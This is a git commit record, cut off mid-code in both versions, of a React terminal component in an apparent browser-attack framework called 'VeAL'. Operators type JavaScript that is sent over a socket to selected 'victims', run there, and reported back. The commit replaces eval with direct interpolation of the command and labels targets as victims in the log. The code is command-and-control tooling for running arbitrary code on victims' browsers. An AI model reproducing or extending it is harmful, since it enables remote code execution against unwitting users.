<commit_before>import React, {Component, PropTypes} from 'react'
import {connect} from 'react-redux'
import {bindActionCreators} from 'redux'
import * as terminalActions from '../../actions/terminal'
import * as utils from '../../utils'

class Terminal extends Component {
  componentDidMount() {
    $('#terminal').terminal(this._commandHandler.bind(this), {
      greetings: 'Actions are logged here.\nAdditionally, you can use this terminal to execute commands on selected targets.',
      name: 'js_demo',
      height: 300,
      prompt: '[VeAL ~]$ '
    })
    this.props.actions.setLogger($.terminal.active().echo)
  }

  _commandHandler(command, term) {
    if (command !== '') {
      let activeTargetSocketIds = utils.objToArrayOfValues(this.props.activeTargets, 'socketId')
      if(activeTargetSocketIds.length === 0){
        term.echo('Select a target first')
      }
      activeTargetSocketIds.forEach((socketId)=>{
        term.echo(`Executing command line attack on ${this.props.victimsBySocketIdMap[socketId].id}...`)
        let attackInstanceId = `${socketId}_${new Date().valueOf()}`
        this.props.followupBuffer[attackInstanceId] = function(params, logger){}
        this.props.socket.emit('attackUser', {
          userSocket: socketId,
          attack: `function(params){
            params.time = new Date();
            try{
              eval("${command}");
              socket.emit("result", {
                success: true,
                message: "Successfully executed custom command at " + new Date() ,
                params
              });
            }catch(e){
              socket.emit("result", {
                success: false,
                message: e.toString(),
                params
              });
            }
          }`,<commit_msg>Custom command does not need to be in eval. Clearer log message<commit_after>import React, {Component, PropTypes} from 'react'
import {connect} from 'react-redux'
import {bindActionCreators} from 'redux'
import * as terminalActions from '../../actions/terminal'
import * as utils from '../../utils'

class Terminal extends Component {
  componentDidMount() {
    $('#terminal').terminal(this._commandHandler.bind(this), {
      greetings: 'Actions are logged here.\nAdditionally, you can use this terminal to execute commands on selected targets.',
      name: 'js_demo',
      height: 300,
      prompt: '[VeAL ~]$ '
    })
    this.props.actions.setLogger($.terminal.active().echo)
  }

  _commandHandler(command, term) {
    if (command !== '') {
      let activeTargetSocketIds = utils.objToArrayOfValues(this.props.activeTargets, 'socketId')
      if(activeTargetSocketIds.length === 0){
        term.echo('Select a target first')
      }
      activeTargetSocketIds.forEach((socketId)=>{
        term.echo(`Executing command line attack on victim ${this.props.victimsBySocketIdMap[socketId].id}...`)
        let attackInstanceId = `${socketId}_${new Date().valueOf()}`
        this.props.followupBuffer[attackInstanceId] = function(params, logger){}
        this.props.socket.emit('attackUser', {
          userSocket: socketId,
          attack: `function(params){
            params.time = new Date();
            try{
              ${command};
              socket.emit("result", {
                success: true,
                message: "Successfully executed custom command at " + new Date() ,
                params
              });
            }catch(e){
              socket.emit("result", {
                success: false,
                message: e.toString(),
                params
              });
            }
          }`,
{'fraction_non_alphanumeric': 0.13203403788086743, 'fraction_numerical': 0.0021959923140269007, 'mean_word_length': 2.3127272727272725, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 5, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '6068998', 'n_tokens_mistral': 984, 'n_tokens_neox': 955, 'n_words': 232}